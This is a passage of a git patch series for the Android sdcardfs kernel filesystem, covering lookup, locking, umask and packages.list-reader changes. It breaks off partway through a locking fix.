fs/sdcardfs/Kconfig | 5 ----- fs/sdcardfs/lookup.c | 7 +------ fs/sdcardfs/main.c | 15 --------------- fs/sdcardfs/sdcardfs.h | 6 ------ include/linux/namei.h | 3 --- 5 files changed, 1 insertion(+), 35 deletions(-) diff --git a/fs/sdcardfs/Kconfig b/fs/sdcardfs/Kconfig index ab25f88ebb37a..a1c103316ac79 100755 --- a/fs/sdcardfs/Kconfig +++ b/fs/sdcardfs/Kconfig @@ -11,8 +11,3 @@ config SDCARD_FS_FADV_NOACTIVE default y help Sdcardfs supports fadvise noactive mode. - -config SDCARD_FS_CI_SEARCH - tristate "sdcardfs case-insensitive search support" - depends on SDCARD_FS - default y diff --git a/fs/sdcardfs/lookup.c b/fs/sdcardfs/lookup.c index f80abcb6b4675..a01b06a514fd9 100755 --- a/fs/sdcardfs/lookup.c +++ b/fs/sdcardfs/lookup.c @@ -238,13 +238,8 @@ static struct dentry *__sdcardfs_lookup(struct dentry *dentry, lower_dir_mnt = lower_parent_path->mnt; /* Use vfs_path_lookup to check if the dentry exists or not */ - if (sbi->options.lower_fs == LOWER_FS_EXT4) { - err = vfs_path_lookup(lower_dir_dentry, lower_dir_mnt, name, - LOOKUP_CASE_INSENSITIVE, &lower_path); - } else if (sbi->options.lower_fs == LOWER_FS_FAT) { - err = vfs_path_lookup(lower_dir_dentry, lower_dir_mnt, name, 0, + err = vfs_path_lookup(lower_dir_dentry, lower_dir_mnt, name, 0, &lower_path); - } /* no error: handle positive dentries */ if (!err) { diff --git a/fs/sdcardfs/main.c b/fs/sdcardfs/main.c index 80aa355d801e4..fa11a0458b844 100755 --- a/fs/sdcardfs/main.c +++ b/fs/sdcardfs/main.c @@ -41,7 +41,6 @@ static const match_table_t sdcardfs_tokens = { {Opt_fsgid, "fsgid=%u"}, {Opt_gid, "gid=%u"}, {Opt_debug, "debug"}, - {Opt_lower_fs, "lower_fs=%s"}, {Opt_mask, "mask=%u"}, {Opt_userid, "userid=%d"}, {Opt_multiuser, "multiuser"}, @@ -64,8 +63,6 @@ static int parse_options(struct super_block *sb, char *options, int silent, opts->multiuser = false; opts->fs_user_id = 0; opts->gid = 0; - /* by default, we use LOWER_FS_EXT4 as lower fs type */ - opts->lower_fs = LOWER_FS_EXT4; /* by default, 0MB is reserved */ opts->reserved_mb = 0; @@ -113,18 +110,6 @@ static int parse_options(struct super_block *sb, char *options, int silent, case Opt_multiuser: opts->multiuser = true; break; - case Opt_lower_fs: - string_option = match_strdup(&args[0]); - if (!strcmp("ext4", string_option)) { - opts->lower_fs = LOWER_FS_EXT4; - } else if (!strcmp("fat", string_option)) { - opts->lower_fs = LOWER_FS_FAT; - } else { - kfree(string_option); - goto invalid_option; - } - kfree(string_option); - break; case Opt_reserved_mb: if (match_int(&args[0], &option)) return 0; diff --git a/fs/sdcardfs/sdcardfs.h b/fs/sdcardfs/sdcardfs.h index 10b2afb2a424e..7f3dee3b1f1d3 100755 --- a/fs/sdcardfs/sdcardfs.h +++ b/fs/sdcardfs/sdcardfs.h @@ -123,11 +123,6 @@ typedef enum { PERM_ANDROID_MEDIA, } perm_t; -typedef enum { - LOWER_FS_EXT4, - LOWER_FS_FAT, -} lower_fs_t; - struct sdcardfs_sb_info; struct sdcardfs_mount_options; @@ -191,7 +186,6 @@ struct sdcardfs_mount_options { gid_t fs_low_gid; userid_t fs_user_id; gid_t gid; - lower_fs_t lower_fs; mode_t mask; bool multiuser; unsigned int reserved_mb; diff --git a/include/linux/namei.h b/include/linux/namei.h index 292afe46fb695..5a5ff57ceed4e 100644 --- a/include/linux/namei.h +++ b/include/linux/namei.h @@ -55,9 +55,6 @@ enum {LAST_NORM, LAST_ROOT, LAST_DOT, LAST_DOTDOT, LAST_BIND}; #define LOOKUP_JUMPED 0x1000 #define LOOKUP_ROOT 0x2000 #define LOOKUP_EMPTY 0x4000 -#ifdef CONFIG_SDCARD_FS_CI_SEARCH -#define LOOKUP_CASE_INSENSITIVE 0x8000 -#endif extern int user_path_at(int, const char __user *, unsigned, struct path *); extern int user_path_at_empty(int, const char __user *, unsigned, struct path *, int *empty); From 01db4a402c5428695569de81595919cddd694408 Mon Sep 17 00:00:00 2001 From: Daniel Rosenberg Date: Mon, 28 Mar 2016 13:38:46 -0700 Subject: [PATCH 305/365] sdcardfs: Fix issue with d_child move "move d_rcu from overlapping d_child to overlapping d_alias" moved the location of d_child in struct dentry. This fixes a container_of that relied on that in sdcardfs Change-Id: I56991d7d168a887ec01ef3877b576f249f35816f --- fs/sdcardfs/derived_perm.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fs/sdcardfs/derived_perm.c b/fs/sdcardfs/derived_perm.c index 9de45bc54f0eb..128b3e56851fb 100755 --- a/fs/sdcardfs/derived_perm.c +++ b/fs/sdcardfs/derived_perm.c @@ -111,7 +111,7 @@ void get_derived_permission(struct dentry *parent, struct dentry *dentry) void get_derive_permissions_recursive(struct dentry *parent) { struct dentry *dentry; - list_for_each_entry(dentry, &parent->d_subdirs, d_u.d_child) { + list_for_each_entry(dentry, &parent->d_subdirs, d_child) { if (dentry && dentry->d_inode) { mutex_lock(&dentry->d_inode->i_mutex); get_derived_permission(parent, dentry); From c7d9a8af495e4f692c73ccc265a3bf4d2bd58510 Mon Sep 17 00:00:00 2001 From: Daniel Rosenberg Date: Mon, 28 Mar 2016 15:00:20 -0700 Subject: [PATCH 306/365] sdcardfs: Remove unused code Change-Id: Ie97cba27ce44818ac56cfe40954f164ad44eccf6 --- fs/sdcardfs/main.c | 2 -- 1 file changed, 2 deletions(-) diff --git a/fs/sdcardfs/main.c b/fs/sdcardfs/main.c index fa11a0458b844..a6522286d7314 100755 --- a/fs/sdcardfs/main.c +++ b/fs/sdcardfs/main.c @@ -54,7 +54,6 @@ static int parse_options(struct super_block *sb, char *options, int silent, char *p; substring_t args[MAX_OPT_ARGS]; int option; - char *string_option; /* by default, we use AID_MEDIA_RW as uid, gid */ opts->fs_low_uid = AID_MEDIA_RW; @@ -117,7 +116,6 @@ static int parse_options(struct super_block *sb, char *options, int silent, break; /* unknown option */ default: -invalid_option: if (!silent) { printk( KERN_ERR "Unrecognized mount option \"%s\" " "or missing value", p); From 64ed27f99bf7c56e8cd93d25315c90e384ae28ae Mon Sep 17 00:00:00 2001 From: Daniel Rosenberg Date: Mon, 28 Mar 2016 16:00:34 -0700 Subject: [PATCH 307/365] sdcardfs: remove unneeded __init and __exit Change-Id: I2a2d45d52f891332174c3000e8681c5167c1564f --- fs/sdcardfs/packagelist.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/fs/sdcardfs/packagelist.c b/fs/sdcardfs/packagelist.c index cf1f8027499dd..4ca5782b4800c 100755 --- a/fs/sdcardfs/packagelist.c +++ b/fs/sdcardfs/packagelist.c @@ -395,7 +395,7 @@ static struct configfs_subsystem sdcardfs_packages_subsys = { }, }; -static int __init configfs_sdcardfs_init(void) +static int configfs_sdcardfs_init(void) { int ret; struct configfs_subsystem *subsys = &sdcardfs_packages_subsys; @@ -411,7 +411,7 @@ static int __init configfs_sdcardfs_init(void) return ret; } -static void __exit configfs_sdcardfs_exit(void) +static void configfs_sdcardfs_exit(void) { configfs_unregister_subsystem(&sdcardfs_packages_subsys); } From d6d5855d58fdbab370b6dd4b6f6ce47c7ea4194c Mon Sep 17 00:00:00 2001 From: Daniel Rosenberg Date: Fri, 22 Apr 2016 00:00:14 -0700 Subject: [PATCH 308/365] vfs: change d_canonical_path to take two paths bug: 23904372 Change-Id: I4a686d64b6de37decf60019be1718e1d820193e6 Signed-off-by: Daniel Rosenberg --- fs/notify/inotify/inotify_user.c | 2 +- fs/sdcardfs/dentry.c | 6 +++++- include/linux/dcache.h | 2 +- 3 files changed, 7 insertions(+), 3 deletions(-) diff --git a/fs/notify/inotify/inotify_user.c b/fs/notify/inotify/inotify_user.c index a9d3e30f06c5a..fce2b85022371 100644 --- a/fs/notify/inotify/inotify_user.c +++ b/fs/notify/inotify/inotify_user.c @@ -770,7 +770,7 @@ SYSCALL_DEFINE3(inotify_add_watch, int, fd, const char __user *, pathname, /* support stacked filesystems */ if(path.dentry && path.dentry->d_op) { if (path.dentry->d_op->d_canonical_path) { - path.dentry->d_op->d_canonical_path(path.dentry, &alteredpath); + path.dentry->d_op->d_canonical_path(&path, &alteredpath); canonical_path = &alteredpath; path_put(&path); } diff --git a/fs/sdcardfs/dentry.c b/fs/sdcardfs/dentry.c index 6497fb7199f35..b2fa36f13e73b 100755 --- a/fs/sdcardfs/dentry.c +++ b/fs/sdcardfs/dentry.c @@ -173,11 +173,15 @@ static int sdcardfs_cmp_ci(const struct dentry *parent, return 1; } +static void sdcardfs_canonical_path(const struct path *path, struct path *actual_path) { + sdcardfs_get_real_lower(path->dentry, actual_path); +} + const struct dentry_operations sdcardfs_ci_dops = { .d_revalidate = sdcardfs_d_revalidate, .d_release = sdcardfs_d_release, .d_hash = sdcardfs_hash_ci, .d_compare = sdcardfs_cmp_ci, - .d_canonical_path = sdcardfs_get_real_lower, + .d_canonical_path = sdcardfs_canonical_path, }; diff --git a/include/linux/dcache.h b/include/linux/dcache.h index a0278743e1d05..e91a63f63e462 100644 --- a/include/linux/dcache.h +++ b/include/linux/dcache.h @@ -158,7 +158,7 @@ struct dentry_operations { char *(*d_dname)(struct dentry *, char *, int); struct vfsmount *(*d_automount)(struct path *); int (*d_manage)(struct dentry *, bool); - void (*d_canonical_path)(const struct dentry *, struct path *); + void (*d_canonical_path)(const struct path *, struct path *); } ____cacheline_aligned; /* From ef28caa0bfa6a914592d02337e5984df33779880 Mon Sep 17 00:00:00 2001 From: Daniel Rosenberg Date: Fri, 8 Jul 2016 14:15:14 -0700 Subject: [PATCH 309/365] sdcardfs: Truncate packages_gid.list on overflow packages_gid.list was improperly returning the wrong count. Use scnprintf instead, and inform the user that the list was truncated if it is. Bug: 30013843 Change-Id: Ida2b2ef7cd86dd87300bfb4c2cdb6bfe2ee1650d Signed-off-by: Daniel Rosenberg --- fs/sdcardfs/packagelist.c | 15 +++++++++++---- 1 file changed, 11 insertions(+), 4 deletions(-) diff --git a/fs/sdcardfs/packagelist.c b/fs/sdcardfs/packagelist.c index 4ca5782b4800c..0cf9c345d05e0 100755 --- a/fs/sdcardfs/packagelist.c +++ b/fs/sdcardfs/packagelist.c @@ -349,13 +349,20 @@ static ssize_t packages_attr_show(struct config_item *item, struct hashtable_entry *hash_cur; struct hlist_node *h_t; int i; - int count = 0; + int count = 0, written = 0; + char errormsg[] = "\n"; + mutex_lock(&pkgl_data_all->hashtable_lock); - hash_for_each_safe(pkgl_data_all->package_to_appid, i, h_t, hash_cur, hlist) - count += snprintf(page + count, PAGE_SIZE - count, "%s %d\n", (char *)hash_cur->key, hash_cur->value); + hash_for_each_safe(pkgl_data_all->package_to_appid, i, h_t, hash_cur, hlist) { + written = scnprintf(page + count, PAGE_SIZE - sizeof(errormsg) - count, "%s %d\n", (char *)hash_cur->key, hash_cur->value); + if (count + written == PAGE_SIZE - sizeof(errormsg)) { + count += scnprintf(page + count, PAGE_SIZE - count, errormsg); + break; + } + count += written; + } mutex_unlock(&pkgl_data_all->hashtable_lock); - return count; } From c8f7e4e29708faaf7944eedfe3801b24c2fff1f2 Mon Sep 17 00:00:00 2001 From: Julia Lawall Date: Wed, 1 Jun 2016 10:28:49 -0700 Subject: [PATCH 310/365] ANDROID: sdcardfs: fix itnull.cocci warnings List_for_each_entry has the property that the first argument is always bound to a real list element, never NULL, so testing dentry is not needed. Generated by: scripts/coccinelle/iterators/itnull.cocci Change-Id: I51033a2649eb39451862b35b6358fe5cfe25c5f5 Cc: Daniel Rosenberg Signed-off-by: Julia Lawall Signed-off-by: Fengguang Wu Signed-off-by: Guenter Roeck --- fs/sdcardfs/derived_perm.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fs/sdcardfs/derived_perm.c b/fs/sdcardfs/derived_perm.c index 128b3e56851fb..41e0e11b3c358 100755 --- a/fs/sdcardfs/derived_perm.c +++ b/fs/sdcardfs/derived_perm.c @@ -112,7 +112,7 @@ void get_derived_permission(struct dentry *parent, struct dentry *dentry) void get_derive_permissions_recursive(struct dentry *parent) { struct dentry *dentry; list_for_each_entry(dentry, &parent->d_subdirs, d_child) { - if (dentry && dentry->d_inode) { + if (dentry->d_inode) { mutex_lock(&dentry->d_inode->i_mutex); get_derived_permission(parent, dentry); fix_derived_permission(dentry->d_inode); From e53d6c3691d3e5e72aabb100f69d733eedd07412 Mon Sep 17 00:00:00 2001 From: Daniel Rosenberg Date: Wed, 13 Apr 2016 16:38:34 -0700 Subject: [PATCH 311/365] sdcardfs: override umask on mkdir and create The mode on files created on the lower fs should not be affected by the umask of the calling task's fs_struct. Instead, we create a copy and modify it as needed. This also lets us avoid the string shenanigans around .nomedia files. Bug: 27992761 Change-Id: Ia3a6e56c24c6e19b3b01c1827e46403bb71c2f4c Signed-off-by: Daniel Rosenberg Signed-off-by: mydongistiny --- fs/fs_struct.c | 1 + fs/sdcardfs/inode.c | 60 +++++++++++++++++++-------------------------- 2 files changed, 26 insertions(+), 35 deletions(-) diff --git a/fs/fs_struct.c b/fs/fs_struct.c index d8ac61d0c9320..8e19779c9d5ea 100644 --- a/fs/fs_struct.c +++ b/fs/fs_struct.c @@ -128,6 +128,7 @@ struct fs_struct *copy_fs_struct(struct fs_struct *old) return fs; } +EXPORT_SYMBOL_GPL(copy_fs_struct); int unshare_fs_struct(void) { struct fs_struct *fs = current->fs; diff --git a/fs/sdcardfs/inode.c b/fs/sdcardfs/inode.c index 0f4aa17645d6f..a9980f01fe179 100755 --- a/fs/sdcardfs/inode.c +++ b/fs/sdcardfs/inode.c @@ -19,6 +19,7 @@ */ #include "sdcardfs.h" +#include /* Do not directly use this function. Use OVERRIDE_CRED() instead. */ const struct cred * override_fsids(struct sdcardfs_sb_info* sbi) @@ -56,6 +57,8 @@ static int sdcardfs_create(struct inode *dir, struct dentry *dentry, struct dentry *lower_parent_dentry = NULL; struct path lower_path; const struct cred *saved_cred = NULL; + struct fs_struct *saved_fs; + struct fs_struct *copied_fs; if(!check_caller_access_to_name(dir, dentry->d_name.name)) { printk(KERN_INFO "%s: need to check the caller's gid in packages.list\n" @@ -74,6 +77,12 @@ static int sdcardfs_create(struct inode *dir, struct dentry *dentry, /* set last 16bytes of mode field to 0664 */ mode = (mode & S_IFMT) | 00664; + + /* temporarily change umask for lower fs write */ + saved_fs = current->fs; + copied_fs = copy_fs_struct(current->fs); + current->fs = copied_fs; + current->fs->umask = 0; err = vfs_create(lower_parent_dentry->d_inode, lower_dentry, mode, want_excl); if (err) goto out; @@ -85,6 +94,8 @@ static int sdcardfs_create(struct inode *dir, struct dentry *dentry, fsstack_copy_inode_size(dir, lower_parent_dentry->d_inode); out: + current->fs = saved_fs; + free_fs_struct(copied_fs); unlock_dir(lower_parent_dentry); sdcardfs_put_lower_path(dentry, &lower_path); REVERT_CRED(saved_cred); @@ -245,11 +256,9 @@ static int sdcardfs_mkdir(struct inode *dir, struct dentry *dentry, umode_t mode struct sdcardfs_sb_info *sbi = SDCARDFS_SB(dentry->d_sb); const struct cred *saved_cred = NULL; struct sdcardfs_inode_info *pi = SDCARDFS_I(dir); - char *page_buf; - char *nomedia_dir_name; - char *nomedia_fullpath; - int fullpath_namelen; int touch_err = 0; + struct fs_struct *saved_fs; + struct fs_struct *copied_fs; if(!check_caller_access_to_name(dir, dentry->d_name.name)) { printk(KERN_INFO "%s: need to check the caller's gid in packages.list\n" @@ -276,6 +285,12 @@ static int sdcardfs_mkdir(struct inode *dir, struct dentry *dentry, umode_t mode /* set last 16bytes of mode field to 0775 */ mode = (mode & S_IFMT) | 00775; + + /* temporarily change umask for lower fs write */ + saved_fs = current->fs; + copied_fs = copy_fs_struct(current->fs); + current->fs = copied_fs; + current->fs->umask = 0; err = vfs_mkdir(lower_parent_dentry->d_inode, lower_dentry, mode); if (err) @@ -316,42 +331,17 @@ static int sdcardfs_mkdir(struct inode *dir, struct dentry *dentry, umode_t mode /* When creating /Android/data and /Android/obb, mark them as .nomedia */ if (make_nomedia_in_obb || ((pi->perm == PERM_ANDROID) && (!strcasecmp(dentry->d_name.name, "data")))) { - - page_buf = (char *)__get_free_page(GFP_KERNEL); - if (!page_buf) { - printk(KERN_ERR "sdcardfs: failed to allocate page buf\n"); - goto out; - } - - nomedia_dir_name = d_absolute_path(&lower_path, page_buf, PAGE_SIZE); - if (IS_ERR(nomedia_dir_name)) { - free_page((unsigned long)page_buf); - printk(KERN_ERR "sdcardfs: failed to get .nomedia dir name\n"); - goto out; - } - - fullpath_namelen = page_buf + PAGE_SIZE - nomedia_dir_name - 1; - fullpath_namelen += strlen("/.nomedia"); - nomedia_fullpath = kzalloc(fullpath_namelen + 1, GFP_KERNEL); - if (!nomedia_fullpath) { - free_page((unsigned long)page_buf); - printk(KERN_ERR "sdcardfs: failed to allocate .nomedia fullpath buf\n"); - goto out; - } - - strcpy(nomedia_fullpath, nomedia_dir_name); - free_page((unsigned long)page_buf); - strcat(nomedia_fullpath, "/.nomedia"); - touch_err = touch(nomedia_fullpath, 0664); + set_fs_pwd(current->fs, &lower_path); + touch_err = touch(".nomedia", 0664); if (touch_err) { - printk(KERN_ERR "sdcardfs: failed to touch(%s): %d\n", - nomedia_fullpath, touch_err); - kfree(nomedia_fullpath); + printk(KERN_ERR "sdcardfs: failed to create .nomedia in %s: %d\n", + lower_path.dentry->d_name.name, touch_err); goto out; } - kfree(nomedia_fullpath); } out: + current->fs = saved_fs; + free_fs_struct(copied_fs); unlock_dir(lower_parent_dentry); sdcardfs_put_lower_path(dentry, &lower_path); out_revert: From 501f5cdf2a44b7a374a9bae82c1377f45122f00c Mon Sep 17 00:00:00 2001 From: Daniel Rosenberg Date: Wed, 27 Apr 2016 15:31:29 -0700 Subject: [PATCH 312/365] sdcardfs: Check for other cases on path lookup This fixes a bug where the first lookup of a file or folder created under a different view would not be case insensitive. It will now search through for a case insensitive match if the initial lookup fails. Bug:28024488 Change-Id: I4ff9ce297b9f2f9864b47540e740fd491c545229 Signed-off-by: Daniel Rosenberg Signed-off-by: mydongistiny --- fs/sdcardfs/lookup.c | 22 ++++++++++++++++++++++ 1 file changed, 22 insertions(+) diff --git a/fs/sdcardfs/lookup.c b/fs/sdcardfs/lookup.c index a01b06a514fd9..a8d6792b76569 100755 --- a/fs/sdcardfs/lookup.c +++ b/fs/sdcardfs/lookup.c @@ -240,6 +240,28 @@ static struct dentry *__sdcardfs_lookup(struct dentry *dentry, /* Use vfs_path_lookup to check if the dentry exists or not */ err = vfs_path_lookup(lower_dir_dentry, lower_dir_mnt, name, 0, &lower_path); + /* check for other cases */ + if (err == -ENOENT) { + struct dentry *child; + struct dentry *match = NULL; + spin_lock(&lower_dir_dentry->d_lock); + list_for_each_entry(child, &lower_dir_dentry->d_subdirs, d_u.d_child) { + if (child && child->d_inode) { + if (strcasecmp(child->d_name.name, name)==0) { + match = dget(child); + break; + } + } + } + spin_unlock(&lower_dir_dentry->d_lock); + if (match) { + err = vfs_path_lookup(lower_dir_dentry, + lower_dir_mnt, + match->d_name.name, 0, + &lower_path); + dput(match); + } + } /* no error: handle positive dentries */ if (!err) { From f28c7b3fc40a8dda534d629ed55f58e21f344d25 Mon Sep 17 00:00:00 2001 From: AshishM94 Date: Thu, 17 Nov 2016 08:25:30 +0530 Subject: [PATCH 313/365] fs: sdcardfs: fix build error --- fs/sdcardfs/lookup.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fs/sdcardfs/lookup.c b/fs/sdcardfs/lookup.c index a8d6792b76569..9e7b311245077 100755 --- a/fs/sdcardfs/lookup.c +++ b/fs/sdcardfs/lookup.c @@ -245,7 +245,7 @@ static struct dentry *__sdcardfs_lookup(struct dentry *dentry, struct dentry *child; struct dentry *match = NULL; spin_lock(&lower_dir_dentry->d_lock); - list_for_each_entry(child, &lower_dir_dentry->d_subdirs, d_u.d_child) { + list_for_each_entry(child, &lower_dir_dentry->d_subdirs, d_child) { if (child && child->d_inode) { if (strcasecmp(child->d_name.name, name)==0) { match = dget(child); From 95fd49173e9271611e67059f45a58d8c8f0525f3 Mon Sep 17 00:00:00 2001 From: Steve Kondik Date: Tue, 26 Jul 2016 02:46:15 -0700 Subject: [PATCH 314/365] sdcardfs: Add support for parsing Android's package list * On M, we don't have support to set up the packages in configfs, so bring back the packages parser. * Fix up some debug prints too. Change-Id: I4e0cb053e9702e0d0e0324917f2046bd5fb471ca --- fs/sdcardfs/Kconfig | 9 ++ fs/sdcardfs/packagelist.c | 204 ++++++++++++++++++++++++++++++++++++-- fs/sdcardfs/super.c | 13 ++- 3 files changed, 214 insertions(+), 12 deletions(-) diff --git a/fs/sdcardfs/Kconfig b/fs/sdcardfs/Kconfig index a1c103316ac79..49b0b96b0a93e 100755 --- a/fs/sdcardfs/Kconfig +++ b/fs/sdcardfs/Kconfig @@ -11,3 +11,12 @@ config SDCARD_FS_FADV_NOACTIVE default y help Sdcardfs supports fadvise noactive mode. + +config CONFIG_SDCARD_FS_ANDROID_PKGLIST + bool "Read Android packages.list from filesystem" + depends on SDCARD_FS + default y + help + Support for reading Android's package list directly from + the filesystem. Disable this if you have support for the + configfs API in userspace. diff --git a/fs/sdcardfs/packagelist.c b/fs/sdcardfs/packagelist.c index 0cf9c345d05e0..f31e228128f08 100755 --- a/fs/sdcardfs/packagelist.c +++ b/fs/sdcardfs/packagelist.c @@ -19,18 +19,27 @@ */ #include "sdcardfs.h" -#include #include - - +#include #include +#include +#include #include #include +#include #include #define STRING_BUF_SIZE (512) +#ifdef CONFIG_SDCARD_FS_ANDROID_PKGLIST +/* Path to system-provided mapping of package name to appIds */ +static const char* const kpackageslist_file = "/data/system/packages.list"; + +/* Supplementary groups to execute with */ +static const gid_t kgroups[1] = { AID_PACKAGE_INFO }; +#endif + struct hashtable_entry { struct hlist_node hlist; void *key; @@ -45,7 +54,13 @@ struct sb_list { struct packagelist_data { DECLARE_HASHTABLE(package_to_appid,8); struct mutex hashtable_lock; - +#ifdef CONFIG_SDCARD_FS_ANDROID_PKGLIST + struct task_struct *thread_id; +#endif + char read_buf[STRING_BUF_SIZE]; + char event_buf[STRING_BUF_SIZE]; + char app_name_buf[STRING_BUF_SIZE]; + char gids_buf[STRING_BUF_SIZE]; }; static struct packagelist_data *pkgl_data_all; @@ -197,37 +212,206 @@ static void remove_str_to_int(struct packagelist_data *pkgl_dat, const char *key return; } -static void remove_all_hashentrys(struct packagelist_data *pkgl_dat) +static void remove_all_hashentries_locked(struct packagelist_data *pkgl_dat) { struct hashtable_entry *hash_cur; struct hlist_node *h_t; int i; - mutex_lock(&pkgl_dat->hashtable_lock); hash_for_each_safe(pkgl_dat->package_to_appid, i, h_t, hash_cur, hlist) remove_str_to_int_lock(hash_cur); - mutex_unlock(&pkgl_dat->hashtable_lock); hash_init(pkgl_dat->package_to_appid); } +#ifdef CONFIG_SDCARD_FS_ANDROID_PKGLIST +static int read_package_list(struct packagelist_data *pkgl_dat) { + + int ret; + int fd; + int read_amount; + + printk(KERN_INFO "sdcardfs: read_package_list\n"); + + mutex_lock(&pkgl_dat->hashtable_lock); + + remove_all_hashentries_locked(pkgl_dat); + + fd = sys_open(kpackageslist_file, O_RDONLY, 0); + if (fd < 0) { + printk(KERN_ERR "sdcardfs: failed to open package list\n"); + mutex_unlock(&pkgl_dat->hashtable_lock); + return fd; + } + + while ((read_amount = sys_read(fd, pkgl_dat->read_buf, + sizeof(pkgl_dat->read_buf))) > 0) { + int appid; + int one_line_len = 0; + int additional_read; + + while (one_line_len < read_amount) { + if (pkgl_dat->read_buf[one_line_len] == '\n') { + one_line_len++; + break; + } + one_line_len++; + } + additional_read = read_amount - one_line_len; + if (additional_read > 0) + sys_lseek(fd, -additional_read, SEEK_CUR); + + if (sscanf(pkgl_dat->read_buf, "%s %d %*d %*s %*s %s", + pkgl_dat->app_name_buf, &appid, + pkgl_dat->gids_buf) == 3) { + ret = insert_str_to_int_lock(pkgl_dat, pkgl_dat->app_name_buf, appid); + if (ret) { + sys_close(fd); + mutex_unlock(&pkgl_dat->hashtable_lock); + return ret; + } + } + } + + sys_close(fd); + mutex_unlock(&pkgl_dat->hashtable_lock); + return 0; +} + +static int packagelist_reader(void *thread_data) +{ + struct packagelist_data *pkgl_dat = (struct packagelist_data *)thread_data; + struct inotify_event *event; + bool active = false; + int event_pos; + int event_size; + int res = 0; + int nfd; + + allow_signal(SIGINT); + + nfd = sys_inotify_init(); + if (nfd < 0) { + printk(KERN_ERR "sdcardfs: inotify_init failed: %d\n", nfd); + return nfd; + } + + while (!kthread_should_stop()) { + if (signal_pending(current)) { + ssleep(1); + continue; + } + + if (!active) { + res = sys_inotify_add_watch(nfd, kpackageslist_file, IN_DELETE_SELF); + if (res < 0) { + if (res == -ENOENT || res == -EACCES) { + /* Framework may not have created yet, sleep and retry */ + printk(KERN_ERR "sdcardfs: missing packages.list; retrying\n"); + ssleep(2); + printk(KERN_ERR "sdcardfs: missing packages.list_end; retrying\n"); + continue; + } else { + printk(KERN_ERR "sdcardfs: inotify_add_watch failed: %d\n", res); + goto interruptable_sleep; + } + } + /* Watch above will tell us about any future changes, so + * read the current state. */ + res = read_package_list(pkgl_dat); + if (res) { + printk(KERN_ERR "sdcardfs: read_package_list failed: %d\n", res); + goto interruptable_sleep; + } + active = true; + } + + event_pos = 0; + res = sys_read(nfd, pkgl_dat->event_buf, sizeof(pkgl_dat->event_buf)); + if (res < (int) sizeof(*event)) { + if (res == -EINTR) + continue; + printk(KERN_ERR "sdcardfs: failed to read inotify event: %d\n", res); + goto interruptable_sleep; + } + + while (res >= (int) sizeof(*event)) { + event = (struct inotify_event *) (pkgl_dat->event_buf + event_pos); + + printk(KERN_INFO "sdcardfs: inotify event: %08x\n", event->mask); + if ((event->mask & IN_IGNORED) == IN_IGNORED) { + /* Previously watched file was deleted, probably due to move + * that swapped in new data; re-arm the watch and read. */ + active = false; + } + + event_size = sizeof(*event) + event->len; + res -= event_size; + event_pos += event_size; + } + continue; + +interruptable_sleep: + set_current_state(TASK_INTERRUPTIBLE); + schedule(); + } + flush_signals(current); + sys_close(nfd); + return res; +} + +struct packagelist_data * package_reader_create(struct packagelist_data *pkgl_dat) +{ + struct task_struct *packagelist_thread; + + packagelist_thread = kthread_run(packagelist_reader, (void *)pkgl_dat, "pkgld"); + if (IS_ERR(packagelist_thread)) { + printk(KERN_ERR "sdcardfs: creating kthread failed\n"); + kfree(pkgl_dat); + goto out; + } + pkgl_dat->thread_id = packagelist_thread; + + printk(KERN_INFO "sdcardfs: created packagelist pkgld/%d\n", + (int)pkgl_dat->thread_id->pid); + +out: + return pkgl_dat; +} + +void package_reader_destroy(struct packagelist_data * pkgl_dat) +{ + force_sig_info(SIGINT, SEND_SIG_PRIV, pkgl_dat->thread_id); + kthread_stop(pkgl_dat->thread_id); +} +#endif + static struct packagelist_data * packagelist_create(void) { struct packagelist_data *pkgl_dat; pkgl_dat = kmalloc(sizeof(*pkgl_dat), GFP_KERNEL | __GFP_ZERO); if (!pkgl_dat) { - printk(KERN_ERR "sdcardfs: Failed to create hash\n"); + printk(KERN_ERR "sdcardfs: Failed to create hash\n"); return ERR_PTR(-ENOMEM); } mutex_init(&pkgl_dat->hashtable_lock); hash_init(pkgl_dat->package_to_appid); +#ifdef CONFIG_SDCARD_FS_ANDROID_PKGLIST + return package_reader_create(pkgl_dat); +#else return pkgl_dat; +#endif } static void packagelist_destroy(struct packagelist_data *pkgl_dat) { - remove_all_hashentrys(pkgl_dat); + mutex_lock(&pkgl_dat->hashtable_lock); +#ifdef CONFIG_SDCARD_FS_ANDROID_PKGLIST + package_reader_destroy(pkgl_dat); +#endif + remove_all_hashentries_locked(pkgl_dat); + mutex_unlock(&pkgl_dat->hashtable_lock); printk(KERN_INFO "sdcardfs: destroyed packagelist pkgld\n"); kfree(pkgl_dat); } @@ -435,7 +619,7 @@ int packagelist_init(void) pkgl_data_all = packagelist_create(); configfs_sdcardfs_init(); - return 0; + return 0; } void packagelist_exit(void) diff --git a/fs/sdcardfs/super.c b/fs/sdcardfs/super.c index 1d6490128c990..c05bcfc2ca60d 100755 --- a/fs/sdcardfs/super.c +++ b/fs/sdcardfs/super.c @@ -196,13 +196,22 @@ static int sdcardfs_show_options(struct seq_file *m, struct dentry *root) struct sdcardfs_mount_options *opts = &sbi->options; if (opts->fs_low_uid != 0) - seq_printf(m, ",uid=%u", opts->fs_low_uid); + seq_printf(m, ",fsuid=%u", opts->fs_low_uid); if (opts->fs_low_gid != 0) - seq_printf(m, ",gid=%u", opts->fs_low_gid); + seq_printf(m, ",fsgid=%u", opts->fs_low_gid); if (opts->multiuser) seq_printf(m, ",multiuser"); + if (opts->mask) + seq_printf(m, ",mask=%u", opts->mask); + + if (opts->gid) + seq_printf(m, ",gid=%u", opts->gid); + + if (opts->fs_user_id) + seq_printf(m, ",userid=%d", opts->fs_user_id); + if (opts->reserved_mb != 0) seq_printf(m, ",reserved=%uMB", opts->reserved_mb); From ca41e7a1c1a1166a3f3aa25a53322e7101dcd351 Mon Sep 17 00:00:00 2001 From: Daniel Rosenberg Date: Tue, 10 May 2016 13:42:43 -0700 Subject: [PATCH 315/365] sdcardfs: Fix locking Iterating over d_subdirs requires taking d_lock. Switched hashmap guard over to a spinlock to use within the loop. Several places were taking unneeded locks. Change-Id: I9fdcab279009005bf28536247d11e13babab0b93 Signed-off-by: Daniel Rosenberg --- fs/sdcardfs/derived_perm.c | 6 ++---- fs/sdcardfs/inode.c | 2 -- fs/sdcardfs/lookup.c | 5 +---- fs/sdcardfs/packagelist.c | 38 +++++++++++++++++++------------------- 4 files changed, 22 insertions(+), 